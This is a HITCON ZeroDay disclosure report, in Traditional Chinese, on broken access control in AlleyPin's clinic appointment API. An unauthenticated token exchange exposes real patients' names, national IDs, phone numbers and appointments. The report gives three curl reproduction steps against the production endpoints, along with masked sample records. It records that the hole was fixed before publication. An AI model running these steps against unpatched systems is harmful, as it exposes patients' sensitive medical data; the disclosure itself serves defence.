Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00369
- Vendor: 翔評互動股份有限公司
- Title: AlleyPin 翔評互動 端點無需認證,可取得任意診所的 JWT 並讀取真實病患預約紀錄(姓名、身分證、手機、就診科別)
- Introduction: 持有 token 後可存取該診所的完整預約紀錄,包含病患姓名、身分證字號、手機、生日、性別、就診醫師、科別等 28 個欄位。
處理狀態
目前狀態
公開
Last Update : 2026/05/26
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2026/03/21 17:07:35 : 新提交 (由 Marco 更新此狀態)
- 2026/03/25 14:24:41 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/03/26 19:15:52 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/03/26 19:15:52 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/03/26 19:15:52 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/11 17:53:45 : 新提交 (由 Marco 更新此狀態)
- 2026/05/14 10:54:18 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/05/18 06:17:44 : 新提交 (由 Marco 更新此狀態)
- 2026/05/18 14:01:07 : 新提交 (由 Marco 更新此狀態)
- 2026/05/19 12:12:43 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/05/25 17:09:22 : 確認已修補 (由 Marco 更新此狀態)
- 2026/05/26 03:00:11 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00369
- 通報者:mlgzackfly (Marco)
- 風險:嚴重
- 類型:存取控制缺陷 (Broken Access Control)
參考資料
攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://openapi.alleypinapis.com/v1/auth/pinmedExchangeToken
https://openapi.alleypinapis.com/v1/appointments
https://openapi.alleypinapis.com/v1/public/schedules
https://openapi.alleypinapis.com/v1/featureToggles
https://pinmed.alleypinapis.com/clinics?limit=100&offset=0
https://openapi.alleypinapis.com/v1/appointments
https://openapi.alleypinapis.com/v1/public/schedules
https://openapi.alleypinapis.com/v1/featureToggles
https://pinmed.alleypinapis.com/clinics?limit=100&offset=0
敘述
漏洞描述
AlleyPin 的 OpenAPI 系統提供 pinmedExchangeToken 端點,設計上僅需要 serviceStoreID 即可換取 JWT Bearer Token,不需要 API Key、不需要密碼、不需要任何認證。
serviceStoreID 可從另一個同樣無認證的 API(pinmed.alleypinapis.com/clinics)取得,該 API 回傳大量診所資料,每間皆包含 serviceStoreID。
取得 JWT 後,攻擊者可存取該診所的預約紀錄,其中包含病患姓名、手機、身分證字號、醫師、科別、預約時間等敏感醫療個資。
重現步驟
Step 1:取得 serviceStoreID(無需認證)
curl https://pinmed.alleypinapis.com/clinics?limit=5&offset=300
回應中每間診所皆包含 serviceStoreID 欄位。
Step 2:用 serviceStoreID 換取 JWT(無需認證)
curl -X POST https://openapi.alleypinapis.com/v1/auth/pinmedExchangeToken \
-H "Content-Type: application/json" \
-d '{"serviceStoreID":"3********8","source":"Website"}'
JWT 有效期約 48 小時,payload 範例如下:
{
"clientID": "[已編輯]",
"serviceStoreID": "3********8",
"vendor": "[已隱碼]",
"clinicFeatures": { ... },
"iss": "openapi.alleypinapis.com"
}
Step 3:用 JWT 讀取預約紀錄
curl https://openapi.alleypinapis.com/v1/appointments \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiI..."
回應(真實資料,已遮蔽):
實測結果
成功驗證可於無任何認證情況下:
- 取得診所
serviceStoreID - 交換有效 JWT Token
- 存取真實病患預約資料
以下為部分已遮罩資料範例:
A 中醫診所
| 病患姓名 | 手機 | 身分證 | 醫師 | 科別 |
|---|---|---|---|---|
| 林*芬 | 09** | A22*** | 鮑*吟 | 中醫科 |
| 吳*怡 | 09** | A22*** | 鮑*吟 | 中醫科 |
| 吳*瑩 | 09** | A22*** | 鮑*吟 | 中醫科 |
B 中醫診所
| 病患姓名 | 手機 | 身分證 | 醫師 | 科別 |
|---|---|---|---|---|
| 洪*振 | 09** | X1***9 | 董*欣 | 中醫科 |
| 李*惠 | 09** | D2***2 | 董*欣 | 中醫科 |
資料內容
每筆預約紀錄包含多項敏感欄位,例如:
- 病患姓名
- 身分證字號
- 手機號碼
- 預約時間
- 醫師資訊
- 就診科別
- 病歷相關識別資訊
影響
-
真實病患就醫紀錄可被未授權存取
已驗證可取得包含姓名、身分證、手機、醫師、科別與預約資訊的真實病患預約資料(測試後皆已刪除)。 -
可影響大量診所與病患資料
因serviceStoreID可透過公開 API 大量取得,攻擊者可批次交換 JWT 並存取多間診所資料。 -
零認證門檻
從取得serviceStoreID、交換 JWT 到讀取病患資料,全程不需要任何身分驗證。 -
涉及醫療特種個資
就醫紀錄(診所、科別、醫師、時間等)屬於台灣《個人資料保護法》第 6 條所定之特種個人資料。 -
Token 權限範圍疑似過大
持有 JWT 後,除讀取預約資料外,亦可能進一步存取其他診所功能或 API 能力,建議全面檢視 token scope 與 RBAC 設計。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。